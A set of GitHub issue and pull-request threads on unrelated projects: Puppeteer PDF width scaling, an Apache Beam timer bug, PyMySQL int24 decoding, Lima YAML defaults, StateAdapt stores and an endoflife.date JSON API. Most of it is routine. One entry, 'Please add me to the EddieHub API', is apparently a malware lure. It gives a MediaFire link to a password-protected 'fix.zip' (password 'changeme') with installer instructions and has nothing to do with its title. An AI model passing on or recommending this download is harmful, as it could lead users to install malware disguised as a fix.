PDF creation pixel sizes causes layout to change

Hi,
When creating PDFs from a responsive web page, lets say the page has a css rule to show a narrower version below 1024 pixels screen width and we supply width: "1024px" to pdf function. The rule should not apply on this case however it does and the layout changes in generated pdf.
Only when the width parameter is 4/3 of the actual width of viewport, then the pdf has exact same layout of given viewport width. This seems to be something related to an inches / points confusion somewhere (96 pixels per inch, 72 pixels per point. 96/72 = 4/3)
So, when I provide 1365px as pdf width I get the exact representation of the page at 1024px viewport width. Anything below 1365px, page acts like the viewport is below 1024px and applies the appropriate responsive css rules.
I'm not sure if this is an upstream bug or something else though. Margins are set to 0 btw.
Any ideas?

@eknkc could you please try "save as pdf" in regular chrome and see if there's any difference in behavior?

@aslushnikov thanks for the suggestion, yeah I tried Chrome and it produces the expected PDF.
Here's a test case: https://output.jsbin.com/qogozes/1
This page has a div that is red above 1024px width viewports and yellow below it. When I use chrome it always creates a red PDF. With puppeteer though;
With any of these calls, I get a yellow PDF:
await page.setViewport({ width: 1024, height: 768 });

await page.pdf({
  printBackground: true,
  format: 'A4',
  margin: { top: 0, right: 0, bottom: 0, left: 0 }
});

await page.pdf({
  printBackground: true,
  width: "1024px",
  height: "768px",
  margin: { top: 0, right: 0, bottom: 0, left: 0 }
});

await page.pdf({ width: "1280px", /* ... etc */ });
await page.pdf({ width: "1366px", /* ... etc */ });

Only when I go above 1366px width on pdf call:
await page.pdf({ width: "1367px", /* ... etc */ });

It produces a red PDF. That is exactly 4/3 of 1024px (the responsive step) and this is consistent, always 4/3.
Chrome on the other hand produces a red pdf each and every time.

I've had some similar issues, and whenever I think I have it figured out, its gets weirder.
So, first off, any dimensions sent to pdf() are first normalized to inches, using Chrome's 96 PPI value. Then, during the actual print operation, it appears that the page's viewport is sized such that there are something like 140.5 pixels per inch of desired PDF (at a scale of 1).
So, in the example above, generating a PDF with a width of 1366px will send the actual pdf print command for a width of 1366/96 = 14.24 inches, which will set the viewport to be 14.24 * 140.5 = ~2000 pixels wide.
This can be seen with my updated test page which has a grid: https://output.jsbin.com/zasasonehi
Each big box is 100px wide and each small box is 10px. Requesting a 1366px / 14.24in wide PDF will show almost exactly 2000 pixels of the grid.
It would make more sense if the default scaling assigned 144 pixels per inch (2 per PDF point),  but the apparent 140.5 value seems quite bizarre.

After a bit more investigation, I determined that the nominal print-to-PDF scale is 144 pixels per inch (2 pixels per point), but that Chrome will adjust this value within some range if the whole page is close to fitting in the designated PDF size.
By addition additional grids to my test page above, to make the page's body larger, I was able to get out of this extra scaling logic. Then, requesting a 1366px / 14.24in wide PDF renders exactly 2048 pixels of the page. Since this is the width at which the conditional 1024px style kicks in, I believe that @media widths are scaled by 2 when printing.

@rossj I have a similar problem, I am trying to generate A4 documents but any scale factory I try it is a bit to low or too much and even if scale is too much and last page overflows I stil get a few pixels of white margins on bottom and right of the page, did you found a workaround ? It seems like you found the Chrome source that does the pdf, can you share the link to that code. Thanks.
P.S. My project is using wkhtmltopdf currently and with that app I only set the page size and DPI and the sizing is perfect the problems we have with that tool is the webfonts and asian fonts.

I'm also not really sure how to print a webpage to an A4. Is that not possible now? I can scale it, but that doesn't seem to respect the seem ratio everywhere.
Ideally the viewport would be respected (optionally) and the PDF would be scaled to the right size automatically.

I tested again and A4 works better, no need to mess with scaling, but some pages have 1pixel white margin on the bottom, this is problematic when we use non white background or colored footers background(wkhtmltopdf does not have this issue with the same input)

There´re a dynamic way to get width height of page without format, I need generate a pdf without scrolls in full size?
await page.pdf({path: 'hn.pdf', width:bodywidth,landscape:landscape, height:bodyheight, margin: {top: margin.top + "mm", right: margin.right + "mm", bottom: margin.bottom + "mm", left: margin.left + "mm"}});
When width:bodywidth and height:bodyheight is the size of page withoutscroll
Any suggestion?

@rossj what could be the reason that @media value is scaled by 2? Is there any fix for it?

I had the same issue, I fixed it by doing this:
   const convertPixelToInches = (value, dpi) => {
      let inches = value/ dpi;
      return `${inches}in`; // Calculate inches value and round it up.
    }
    const pageWidth = convertPixelToInches(req.body.evidenceWidth, 72);
    const pageHeight = convertPixelToInches(realPageHeight < req.body.evidenceHeight ? req.body.evidenceHeight : realPageHeight, 96);

And passing the values as width and height.
@aslushnikov  @rossj The only thing I'd like to understand now is why the dpi for the width and height need to be different for the width an height, where, if I return them from headless Chromium are 96 for height and width.

I had the same issue, I fixed it by doing this:
   const convertPixelToInches = (value, dpi) => {
      let inches = value/ dpi;
      return `${inches}in`; // Calculate inches value and round it up.
    }
    const pageWidth = convertPixelToInches(req.body.evidenceWidth, 72);
    const pageHeight = convertPixelToInches(realPageHeight < req.body.evidenceHeight ? req.body.evidenceHeight : realPageHeight, 96);

And passing the values as width and height.
@aslushnikov @rossj The only thing I'd like to understand now is why the dpi for the width and height need to be different for the width an height, where, if I return them from headless Chromium are 96 for height and width.

What is req.body.evidenceWidth , req.body.evidenceHeight and realPageHeight , supposed to be?

What is req.body.evidenceWidth , req.body.evidenceHeight and realPageHeight , supposed to be?

@jbprat I'd love to know this, also, please.

I had the same issue, I fixed it by doing this:
   const convertPixelToInches = (value, dpi) => {
      let inches = value/ dpi;
      return `${inches}in`; // Calculate inches value and round it up.
    }
    const pageWidth = convertPixelToInches(req.body.evidenceWidth, 72);
    const pageHeight = convertPixelToInches(realPageHeight < req.body.evidenceHeight ? req.body.evidenceHeight : realPageHeight, 96);

And passing the values as width and height.
@aslushnikov @rossj The only thing I'd like to understand now is why the dpi for the width and height need to be different for the width an height, where, if I return them from headless Chromium are 96 for height and width.

What is req.body.evidenceWidth , req.body.evidenceHeight and realPageHeight , supposed to be?

@jbprat really curious about this too

There's a Chromium bug "Weird media query evaluation in print" that seems to be the cause of this issue. I've left a message with more detail there. Hopefully it gets more stars and attention soon. Especially with container queries around the corner.

This Chromium bug report has various test cases to help confirm the issue.

This has most definitely been confirmed.

@joeldbirch the linked crbug.com does not look like this issue as this one is reported as being happening in headless only which has a different implementation.


[Bug]: runtime_type_check breaks stateful processing with timers

What happened?
When executing a pipeline with the DirectRunner, using --runtime_type_check True, it is impossible to use timers like in the examples provided by https://beam.apache.org/blog/timely-processing/
It will end up in the following error:
  File "apache_beam/runners/common.py", line 291, in apache_beam.runners.common.DoFnSignature.__init__
  File "apache_beam/runners/common.py", line 320, in apache_beam.runners.common.DoFnSignature._validate
  File "apache_beam/runners/common.py", line 378, in apache_beam.runners.common.DoFnSignature._validate_stateful_dofn
  File "/usr/local/lib/python3.11/site-packages/apache_beam/transforms/userstate.py", line 303, in validate_stateful_dofn
    if timer_spec._attached_callback != getattr(dofn, method_name, None).__func__:
                                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'NoneType' object has no attribute '__func__'. Did you mean: '__doc__'?

I did some prints to understand what is happening, it seems like the runtime type check wraps the DoFn with a apache_beam.typehints.typecheck.OutputCheckWrapperDoFn, preventing the following code to work:
        # apache_beam/transforms/userstate.py
        method_name = timer_spec._attached_callback.__name__
        if timer_spec._attached_callback != getattr(dofn, method_name, None).__func__:
           # ...

Because the annotated method is not found on the wrapper.
Issue Priority
Priority: 2 (default / most bugs should be filed as P2)
Issue Components

[X] Component: Python SDK
[ ] Component: Java SDK
[ ] Component: Go SDK
[ ] Component: Typescript SDK
[ ] Component: IO connector
[ ] Component: Beam examples
[ ] Component: Beam playground
[ ] Component: Beam katas
[ ] Component: Website
[ ] Component: Spark Runner
[ ] Component: Flink Runner
[ ] Component: Samza Runner
[ ] Component: Twister2 Runner
[ ] Component: Hazelcast Jet Runner
[ ] Component: Google Cloud Dataflow Runner

Thanks for reporting @OwlyCode ! sounds like we could try to modify the wrapper to preserve the timer_spec. Would you be interested in contributing a fix or, or adding a unit test that demonstrates  the failure (which we can skip and re-enable once resolved)?

I'm viewing this just now. It seems that @sadovnychyi has already a fix on the way. Thank you for your time!


Please add me to the EddieHub API

Discord Username (if applicable)
No response

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


[MINOR][DOCS] Fix  miss semicolon on insert example sql

What changes were proposed in this pull request?

fix miss semicolon on insert example sql
Why are the changes needed?

fix miss semicolon on insert example sql.
Does this PR introduce any user-facing change?

Yes.  the patch fix docs  miss semicolon sql.
How was this patch tested?

Manually by inspecting generated docs.
Was this patch authored or co-authored using generative AI tooling?

No.

+1, LGTM. Merging to master.
Thank you, @camilesing.


The parameters in "Quick Start" are not implemented yet (grayed out)

Use the "Edit YAML" as a workaround, for now. See "default.yaml" for options
https://github.com/lima-vm/lima/blob/master/pkg/limayaml/default.yaml
# Arch: "default", "x86_64", "aarch64".
# Default: "default" (corresponds to the host architecture)
arch: "default"

# CPUs: if you see performance issues, try limiting cpus to 1.
# Default: 4
cpus: 4

# Memory size
# Default: "4GiB"
memory: "4GiB"

# Disk size
# Default: "100GiB"
disk: "100GiB"

It is possible to get the default values, from limactl info.
        "cpus": 4,
        "memory": "4GiB",
        "disk": "100GiB",

The vmTypes are also available, since lima version 0.14.2
    "vmTypes": [
        "qemu"
    ]

The cpuTypes are not exported yet, it's a text field for now.

The available architectures are currently hardcoded.
type Arch = string

const (
        X8664   Arch = "x86_64"
        AARCH64 Arch = "aarch64"
        RISCV64 Arch = "riscv64"
)

The emulator-only RISC-V was added in version 0.11.0

Fixed, 62d31a99b0251135366f8125fc03fa2419c5284c


Question: There is any way of getting a already initializes store by  string path?

Hi @mfp22,
I've tried this:
this.store = this.adapt.select(this.featureName, this.createStateAdapter());

if (!this.store) {
  this.store = this.adapt.init(
    [this.featureName, this.createStateAdapter(), initialState],
    {
      sendCommand: this.commandSentSourceList,
      acceptCommand: this.commandAcceptedSourceList,
      throwError: this.errorThrown$,
    }
  );
}

...

private createStateAdapter() {
  return createAdapter<CommandState<T>>()({
    sendCommand: (state, payload: any) => ({
      ...state,
      waiting: true,
      error: null,
    }),
    acceptCommand: (state, cmdStr: string) => ({
      ...state,
      waiting: false,
      error: null,
    }),
    throwError: (state, error: Error) => ({
      ...state,
      error,
      waiting: false,
      entity: null,
      list: [],
    }),
    selectors: {
      getWaiting: (state) => state.waiting,
      getError: (state) => state.error,
    },
  });
}

This is avoiding colision path error been throing, if the store is already initilized.
The selectors are working too, though the redux tool stopped showing state changes.
It's appears never enter on adapt.init flow, due to adapt.select always return a store.
Could you help me?

select doesn't create a store. It just gives access to state selectors. I renamed it to spy and will be releasing that update in some version before the 1.0 release. I thought spy was better at communicating the purpose of it.
Where is that state path being used already? If it's already being initialized somewhere else, you should probably reference that already-created store.

I initialized the store throught a factory on component class attributes.
I'm reusing same component to include and to edit entities.
When I include a entity, I check the source action from command accepted to re-route the component in edit way.
On cmdIncluirAccepted$ I get the generated entity ID from backend, to get it from reactive query by startObserver method (this encapsulates FireStore connection).
Checking redux tools, my store is been correctly destroyed before been initialized again on component reload, but state adapter is throwing colision path error on console.
Aside the error throwing, the store continues working without any issues, so I think the bug is on checking step of path colision on state-adapter.
Follow relevant component code:
export class FabricanteEditComponent implements OnInit, OnDestroy {
  constructor(
    private router: Router,
    private activatedRoute: ActivatedRoute,
    private uiStateService: UiStateService,
    private dialog: MatDialog,
    private snackBar: MatSnackBar,
    private stateServiceFactory: FabricanteStateServiceFactory
  ) {}

  private queryReactiveService =
    this.stateServiceFactory.createQueryReactiveEntityStateService(
      'FabricanteEditReactiveQRY'
    );

  private commandService =
    this.stateServiceFactory.createCommandStateService('FabricanteEditCMD');

  uid?: string;

  fabricante$ = this.queryReactiveService.adapter.store.getEntity();
  fabricanteError$ = this.queryReactiveService.adapter.store.getError();

  cmdWaiting$ = this.commandService.adapter.store.getWaiting();
  cmdError$ = this.commandService.adapter.store.getError();
  cmdAlterarAccepted$ = this.commandService.fabricanteAlterarCommandAccepted$;
  cmdIncluirAccepted$ = this.commandService.fabricanteIncluirCommandAccepted$;
  cmdExcluirAccepted$ = this.commandService.fabricanteExcluirCommandAccepted$;

  private componentDestroyed = new Subject<void>();
  private formStatus: FormControlStatus = 'PENDING';

  ngOnInit(): void {
    // obter parâmetro de rota e decidir se busca entidade
    this.uid = this.activatedRoute.snapshot.params.uid;
    if (this.uid) {
      this.queryReactiveService.startObserver(this.uid);
    }

    // observer de erro de obtenção da entidade
    this.fabricanteError$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe((error: Error | null) => {
        if (!!error) {
          DialogNotifyComponent.openDialog(
            this.dialog,
            error.message,
            'error'
          ).subscribe(() => {});
        }
      });

    // observer de espera de comando
    this.cmdWaiting$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe((waiting) => {
        if (waiting) {
          DialogLoadingComponent.openDialog(this.dialog, this.cmdWaiting$);
        }
      });

    // observer de erro de execução de comando
    this.cmdError$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe((error: Error | null) => {
        if (!!error) {
          DialogNotifyComponent.openDialog(
            this.dialog,
            error.message,
            'error'
          ).subscribe(() => {});
        }
      });

    // observer de comando de alteração aceito
    this.cmdAlterarAccepted$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe(() => {
        this.snackBar.open('Fabricante alterado com sucesso', 'Fechar', {
          duration: 5000,
        });
      });

    // observer de comando de inclusão aceito
    this.cmdIncluirAccepted$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe((action: Action<string>) => {
        this.snackBar.open('Fabricante incluído com sucesso', 'Fechar', {
          duration: 5000,
        });
        void this.router.navigate(['../' + action.payload], {
          relativeTo: this.activatedRoute,
        });
      });

    // observer de comando de exclusão aceito
    this.cmdExcluirAccepted$
      .pipe(takeUntil(this.componentDestroyed))
      .subscribe(() => {
        this.snackBar.open('Fabricante excluído com sucesso', 'Fechar', {
          duration: 5000,
        });
        this.goUp();
      });
  }

  ngOnDestroy(): void {
    this.queryReactiveService.destroy();
    this.componentDestroyed.next();
    this.componentDestroyed.complete();
  }

  goUp(): void {
    void this.router.navigate(['..'], {
      relativeTo: this.activatedRoute,
    });
  }

  new(): void {
    void this.router.navigate(['../new'], {
      relativeTo: this.activatedRoute,
    });
  }

  toggleMenu(): void {
    this.uiStateService.toggleMenu();
  }

  submit(fabricante: FabricanteDto): void {
    if (fabricante.fabricanteId) {
      this.commandService.fabricanteAlterar(fabricante);
    } else {
      this.commandService.fabricanteIncluir(fabricante);
    }
  }

  delete(): void {
    if (this.uid) {
      DialogConfirmComponent.openDialog(
        this.dialog,
        'Deseja excluir esse fabricante?',
        'warning'
      ).subscribe((result: boolean) => {
        if (result && this.uid) {
          this.commandService.fabricanteExcluir(this.uid);
        }
      });
    }
  }

  setFormStatus(status: FormControlStatus) {
    this.formStatus = status;
  }

  canExclude(): boolean {
    return !!this.uid && this.formStatus === 'VALID';
  }

  canNew(): boolean {
    return !!this.uid && this.formStatus === 'VALID';
  }
}

To my mind, could there be a optional parameter on sore init method to return the previous same path store, instead of throwing colision path error.

It's really a shame Angular Material doesn't have declarative APIs for global components like dialogs, toasts, etc. In fact most Angular component libraries don't. Most React, Vue and Svelte component libraries do. If you're interested I'll share a wrapper component I wrote for Angular Material that makes those dialogs declarative. I don't have one for the other imperative APIs, unfortunately. The incredible thing to me is it seems like Angular devs are okay with the imperative APIs.
Anyway, are both component instances on the same page at the same time? If so, then you want two stores because you are managing 2 separate states. You can still define it in the component and set the path string dynamically so it points to 2 separate states in the global store.
If you only show 1 component at a time, the store will be removed when everything in the component unsubscribes, so there shouldn't be a path collision issue. This assumes the unsubscribe runs before the new subscriptions run.
If I were to consider theoretically returning existing stores when developers try to create a store that already exists, it would create an implicit dependency. The path would become the reference to the other store, and TypeScript can't help with that. So you could delete the other instance of the store and break the 2nd user of the store. It would create the store, but it's unknown if it depended on the original state being updating by the original sources. It's a weird scenario. It's better to just put one store in a service and inject it into multiple components. Except here, you are using 2 instances of the same component, so you could either use 1 store only or use component inputs to differentiate the path.
If you still think there's a problem with StateAdapt, can you please reproduce the issue in a very simple example on StackBlitz?


Error getting a 24-bit inserted row id

Originally filed by<EMAIL_ADDRESS>on 2011-06-30T16:33:42
What steps will reproduce the problem?

Create a table with auto_increment value above 65536
Insert a new row into the table using cursor.execute("INSERT.....")

What is the expected output? What do you see instead?
The exception is raised:
TypeError: 'int' does not support the buffer interface
What version of the product are you using? On what operating system?
PyMySQL3 ver.0.4
Python 3.1 on any OS
Please provide any additional information below.
Here is the stack trace:
Traceback (most recent call last):
File "/usr/local/lib/python3.1/site-packages/pymysql/cursors.py", line 103, in execute
result = self._query(query)
File "/usr/local/lib/python3.1/site-packages/pymysql/cursors.py", line 221, in _query
conn.query(q)
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 599, in query
self._affected_rows = self._read_query_result()
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 685, in _read_query_result
result.read()
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 871, in read
self._read_ok_packet()
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 878, in _read_ok_packet
self.insert_id = self.first_packet.read_length_coded_binary()
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 295, in read_length_coded_binary
return unpack_int24(self.read(UNSIGNED_INT24_LENGTH))
File "/usr/local/lib/python3.1/site-packages/pymysql/connections.py", line 156, in unpack_int24
return struct.unpack('B',n[0])[0] + (struct.unpack('B', n[1])[0] << 8) +
TypeError: 'int' does not support the buffer interface
The problem is in wrong usage of indexing of 'bytes' type.
In the line shown above n is an object of 'bytes' type.
n[0] returns an integer, but struct.unpack expects a bytes value.
This can be fixed by replacing of n[0] with n[0:1], n[1] with n[1:2], ect. The second form will give bytes value.

Hello,
I have the same problem with python3,2 on windows seven.
I use PyMySQL3 ver.0.4.
this is the error message :
Traceback (most recent call last):
File "C:\Users\Stef\Desktop\mysql 2.py", line 25, in
cursor.execute(requete);
File "C:\Python32\lib\site-packages\pymysql\cursors.py", line 108, in execute
self.errorhandler(self, exc, value)
File "C:\Python32\lib\site-packages\pymysql\connections.py", line 182, in defaulterrorhandler
raise Error(errorclass, errorvalue)
pymysql.err.Error: (<class 'TypeError'>, TypeError("'int' does not support the buffer interface",))


Add support for invalid date formats.

Fix null message for date appearing in command box when deleting books.
Add find user and find book under UG.
Fix loan command message string shown to reflect due date.
Resolve #153

Codecov Report

Merging #161 (0134fe5) into master (fddfaf0) will decrease coverage by 0.36%.
The diff coverage is 0.00%.

@@             Coverage Diff              @@
##             master     #161      +/-   ##
============================================
- Coverage     55.39%   55.02%   -0.37%
  Complexity      485      485
============================================
  Files           110      110
  Lines          1937     1950      +13
  Branches        199      200       +1
============================================
  Hits           1073     1073
- Misses          790      803      +13
  Partials         74       74

Impacted Files
Coverage Δ

src/main/java/bookface/commons/core/Messages.java
0.00% <ø> (ø)

...main/java/bookface/logic/commands/LoanCommand.java
0.00% <0.00%> (ø)

.../java/bookface/logic/parser/LoanCommandParser.java
0.00% <0.00%> (ø)

src/main/java/bookface/model/book/Book.java
29.54% <0.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


System.Text.Json based serializer / deserializer

extending serialization capabilities using Microsoft serializer

I put some thoughts into a discussion: https://github.com/MassTransit/MassTransit/discussions/2727

There are a lot of serialization use cases that aren't handled by this yet. I tried, for a couple of hours, to get things working but this is going to be deferred until I have more time to look at it.

Observations so far, however, include:
Newtonsoft:
Serialize: 1389ms, Rate: 107991 m/s
Deserialize: 3532ms, Rate: 42468 m/s

System.Text.Json:
Serialize: 1284ms, Rate: 116822 m/s
Deserialize: 2564ms, Rate: 58502 m/s

There are a lot of serialization use cases that aren't handled by this yet. I tried, for a couple of hours, to get things working but this is going to be deferred until I have more time to look at it.

Observations so far, however, include:
Newtonsoft:
Serialize: 1389ms, Rate: 107991 m/s
Deserialize: 3532ms, Rate: 42468 m/s

System.Text.Json:
Serialize: 1284ms, Rate: 116822 m/s
Deserialize: 2564ms, Rate: 58502 m/s

Weird because m$ told us that System.Text.Json should 2x fast as Newtonsoft and eats less memory.
Maybe sync methods are slower with streams ...

Could we change MessageSerializer interface to be async?

Could we change MessageSerializer interface to be async?

Maybe you haven't kept up-to-date.

There were too many changes, so I created a new PR on a branch.


Status: Unknown on iPhone 6s

HI,
i tried your demo Application and a blank Ionic Starter but i get always "Unknown" as status. Shouldn't it be "Aviable"?

Yes, i'm doing some debug here!
It doesn't recognize touches properly right now.
Ping github, i'll release a fixed new version asap.
Matteo
Matteo Pisani
CTO presso "alibabyte software house s.r.l.s."
web: www.alibabyte.it
linkedin: www.linkedin.com/in/matteopisani
skype: matteo.pisani.91
phone: (+39)<PHONE_NUMBER>
e-mail<EMAIL_ADDRESS>2015-10-14 12:48 GMT+02:00 TM.Dev<EMAIL_ADDRESS>
HI,
i tried your demo Application and a blank Ionic Starter but i get always
"Unknown" as status. Shouldn't it be "Aviable"?
—
Reply to this email directly or view it on GitHub
https://github.com/xonoxitron/cordova-plugin-forcetouch/issues/1.

awesome thank you!

Hey man, check out latest updated of my plugin:
https://www.npmjs.com/package/cordova-plugin-forcetouch
Now it works. ;)
Cheers,
Matteo ~ Italy
Matteo Pisani
CTO presso "alibabyte software house s.r.l.s."
web: www.alibabyte.it
linkedin: www.linkedin.com/in/matteopisani
skype: matteo.pisani.91
phone: (+39)<PHONE_NUMBER>
e-mail<EMAIL_ADDRESS>2015-10-14 12:55 GMT+02:00 TM.Dev<EMAIL_ADDRESS>
awesome thank you!
—
Reply to this email directly or view it on GitHub
https://github.com/xonoxitron/cordova-plugin-forcetouch/issues/1#issuecomment-148014599
.

Fixed in the newest release! :)

Thank you! Tried it out and getting values from the touch.


Exif-js not working

I am using Chrome browser to read GPS data from an image using exif-js
I first got an error message:
cross origin requests are only supported for protocol schemes http data chrome chrome-extension
Then tried to rectify this by adding: Access-Control-Allow-Origin: http://localhost
within the

The script did not display correctly in my previous posting:

EXIF example with inline EXIF info

Longitude and latitude:

My script did not display well in the previous posting:

Longitude and latitude:

Bart
Thanks for the suggestions.
I did preview the script before posting, but somehow it gets changed by the editor.
I also loaded your previously posted examples (Bush-dog etc) on my localhost and they also do not work.
I get the same cross-origin error messages in the Chrome-JavaScript debugger.

I have finally managed to solve my problem of reading the exif data from an image and solving the problem of cross browser access..
I found a script for handling cross browser requests in IIS (http://gkb.wikidot.com/setting-cors-on-iis-8) to be placed in the web.config file in the web directory where my Javascript resides.
The script comprises 9 lines :
<system.webServer>

</system.webServer>
After running my program as http://localhost/index.html it works perfectly.

Hello,
Good that you found a solution.
You cannot just paste XML in an issue. Or so it seems.
Your solution is very platform/stack specific, so it's not relevant to a part of exif-users. I have added some specifics to the issue name. Please provide context for other users, so they can see if your issue is relevant for them. Enabling CORS is done differently on the different application-servers/backends like Apache, IIS, nodjes nginx, etc.


Create a JSON page per tool

Fixes https://github.com/endoflife-date/endoflife.date/issues/90.
Creates a JSON page per tool.
$ ruby _plugins/create-json-files.rb
$ cat api/python/3.9.json # existing file
{"release":"2020-10-05","eol":"2025-10-05","latest":"3.9.5","link":"https://www.python.org/downloads/release/python-395/"}
$ cat api/python.json # new file
[{"cycle":3.9,"data":{"release":"2020-10-05","eol":"2025-10-05","latest":"3.9.5","link":"https://www.python.org/downloads/release/python-395/"}},{"cycle":3.8,"data":{"release":"2019-10-14","eol":"2024-10-14","latest":"3.8.10","link":"https://www.python.org/downloads/release/python-3810/"}},{"cycle":3.7,"data":{"release":"2018-06-27","eol":"2023-06-27","latest":"3.7.10","link":"https://www.python.org/downloads/release/python-3710/"}},{"cycle":3.6,"data":{"release":"2016-12-23","eol":"2021-12-23","latest":"3.6.13","link":"https://www.python.org/downloads/release/python-3613/"}},{"cycle":3.5,"data":{"release":"2015-09-30","eol":"2020-09-13","latest":"3.5.10","link":"https://www.python.org/downloads/release/python-3510/"}},{"cycle":3.4,"data":{"release":"2014-03-16","eol":"2019-03-18","latest":"3.4.10","link":"https://www.python.org/downloads/release/python-3410/"}},{"cycle":3.3,"data":{"release":"2012-09-29","eol":"2017-09-29","latest":"3.3.7","link":"https://www.python.org/downloads/release/python-337/"}},{"cycle":2.7,"data":{"release":"2010-07-03","eol":"2020-01-01","latest":"2.7.18","link":"https://github.com/python/cpython/blob/2.7/Misc/NEWS.d/2.7.18rc1.rst"}}]

Prettified the JSON looks like this, is this the right sort of format?
[
  {
    "cycle": 3.9,
    "data": {
      "release": "2020-10-05",
      "eol": "2025-10-05",
      "latest": "3.9.5",
      "link": "https://www.python.org/downloads/release/python-395/"
    }
  },
  {
    "cycle": 3.8,
    "data": {
      "release": "2019-10-14",
      "eol": "2024-10-14",
      "latest": "3.8.10",
      "link": "https://www.python.org/downloads/release/python-3810/"
    }
  },
  {
    "cycle": 3.7,
    "data": {
      "release": "2018-06-27",
      "eol": "2023-06-27",
      "latest": "3.7.10",
      "link": "https://www.python.org/downloads/release/python-3710/"
    }
  },
  {
    "cycle": 3.6,
    "data": {
      "release": "2016-12-23",
      "eol": "2021-12-23",
      "latest": "3.6.13",
      "link": "https://www.python.org/downloads/release/python-3613/"
    }
  },
  {
    "cycle": 3.5,
    "data": {
      "release": "2015-09-30",
      "eol": "2020-09-13",
      "latest": "3.5.10",
      "link": "https://www.python.org/downloads/release/python-3510/"
    }
  },
  {
    "cycle": 3.4,
    "data": {
      "release": "2014-03-16",
      "eol": "2019-03-18",
      "latest": "3.4.10",
      "link": "https://www.python.org/downloads/release/python-3410/"
    }
  },
  {
    "cycle": 3.3,
    "data": {
      "release": "2012-09-29",
      "eol": "2017-09-29",
      "latest": "3.3.7",
      "link": "https://www.python.org/downloads/release/python-337/"
    }
  },
  {
    "cycle": 2.7,
    "data": {
      "release": "2010-07-03",
      "eol": "2020-01-01",
      "latest": "2.7.18",
      "link": "https://github.com/python/cpython/blob/2.7/Misc/NEWS.d/2.7.18rc1.rst"
    }
  }
]

Deploy preview: https://deploy-preview-260--endoflife-date.netlify.app/api/python.json

Thanks a lot, this looks neat. How about flattening the data object?
Something like:
[{
  "cycle": 3.9,
  "release": "2020-10-05",
  "eol": "2025-10-05",
  "latest": "3.9.5",
  "link": "https://www.python.org/downloads/release/python-395/"
},{...}]

Good idea, updated:
https://deploy-preview-260--endoflife-date.netlify.app/api/python.json
[
  {
    "cycle": 3.9,
    "release": "2020-10-05",
    "eol": "2025-10-05",
    "latest": "3.9.5",
    "link": "https://www.python.org/downloads/release/python-395/"
  },
  {
    "cycle": 3.8,
    "release": "2019-10-14",
    "eol": "2024-10-14",
    "latest": "3.8.10",
    "link": "https://www.python.org/downloads/release/python-3810/"
  },
  {
    "cycle": 3.7,
    "release": "2018-06-27",
    "eol": "2023-06-27",
    "latest": "3.7.10",
    "link": "https://www.python.org/downloads/release/python-3710/"
  },
  {
    "cycle": 3.6,
    "release": "2016-12-23",
    "eol": "2021-12-23",
    "latest": "3.6.13",
    "link": "https://www.python.org/downloads/release/python-3613/"
  },
  {
    "cycle": 3.5,
    "release": "2015-09-30",
    "eol": "2020-09-13",
    "latest": "3.5.10",
    "link": "https://www.python.org/downloads/release/python-3510/"
  },
  {
    "cycle": 3.4,
    "release": "2014-03-16",
    "eol": "2019-03-18",
    "latest": "3.4.10",
    "link": "https://www.python.org/downloads/release/python-3410/"
  },
  {
    "cycle": 3.3,
    "release": "2012-09-29",
    "eol": "2017-09-29",
    "latest": "3.3.7",
    "link": "https://www.python.org/downloads/release/python-337/"
  },
  {
    "cycle": 2.7,
    "release": "2010-07-03",
    "eol": "2020-01-01",
    "latest": "2.7.18",
    "link": "https://github.com/python/cpython/blob/2.7/Misc/NEWS.d/2.7.18rc1.rst"
  }
]

Validated against a few more tools, and everything looks good. Thanks a lot 🥇, merging.

I also made the API available over CORS (#261), so there's more scope for experiments.


multi: bump btcd version.

Makes sure LND is compatible with the newest bitcoind 28 release.
Fixes: https://github.com/lightningnetwork/lnd/issues/9053

Hello, will this fix be applied with LND v18.4 before Bitcoin Core v28 is released?

Hello, will this fix be applied with LND v18.4 before Bitcoin Core v28 is released?

Given that this change is backwards compatible, I've tagged it for 18.4

fixes #9163


Feature/extensions bwc setting

Description
This Draft PR includes the new setting bwcPluginMode (backward compatible plugin mode for extensions )
Issues Resolved
#2616
Is this a backport? If so, please add backport PR # and/or commits #
Testing
[Please provide details of testing done: unit testing, integration testing and manual testing]
Check List

[ ] New functionality includes testing
[ ] New functionality has been documented
[x] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Thank you @samuelcostae ! This PR looks good to me. Can you add a test in JwtVendorTest to show how this setting affects token issuance?


#134249275/jwt-on-login

What does this PR do?
Users should receive a JWT on successful signup/signin
Description of Task to be completed?
Creates a JWT token and returns to the user upon successful login and signup.
How should this be manually tested?
N/A
Any background context you want to provide?
N/A
What are the relevant pivotal tracker stories?
IDs: 134249275, 134249277
Screenshots (if appropriate)

Questions:
N/A

Looks good generally. Please try and resolve the hound issues, amongst which is using let / var and const. You can see the differences and when to use them in the Airbnb javascript guide https://github.com/airbnb/javascript.
Also, please pull from staging before pushing.


Add the ability to do imports using drag and drop

I found this Drag And Drop Import Relative Path extension that allow do import using drag and drop, and it's very cool, but it doesn't work in React or Vue files, please add this feature by default to the vscode, it will save a lot of time and effort

We leave this up to individual language extensions to support. Please file feature requests against those extensions / languages to enable this feature


Remove branch flag

There does not seem to be a branch flag any more
Error: unknown shorthand flag: 'b' in -b
Usage:
  pachctl start-commit repo-name [branch] [flags]

Flags:
  -p, --parent string   The parent of the new commit, unneeded if branch is specified and you want to use the previous head of the branch as the parent.

Global Flags:
      --no-metrics   Don't report user metrics for this command
  -v, --verbose      Output verbose logs

unknown shorthand flag: 'b' in -b

Closes #2272

LGTM and @poopoothegorilla has already signed the CLA.
Merging this even though CI hasn't run on it since it's just a very small docs change.


Domain padding working incorrectly (with fix)

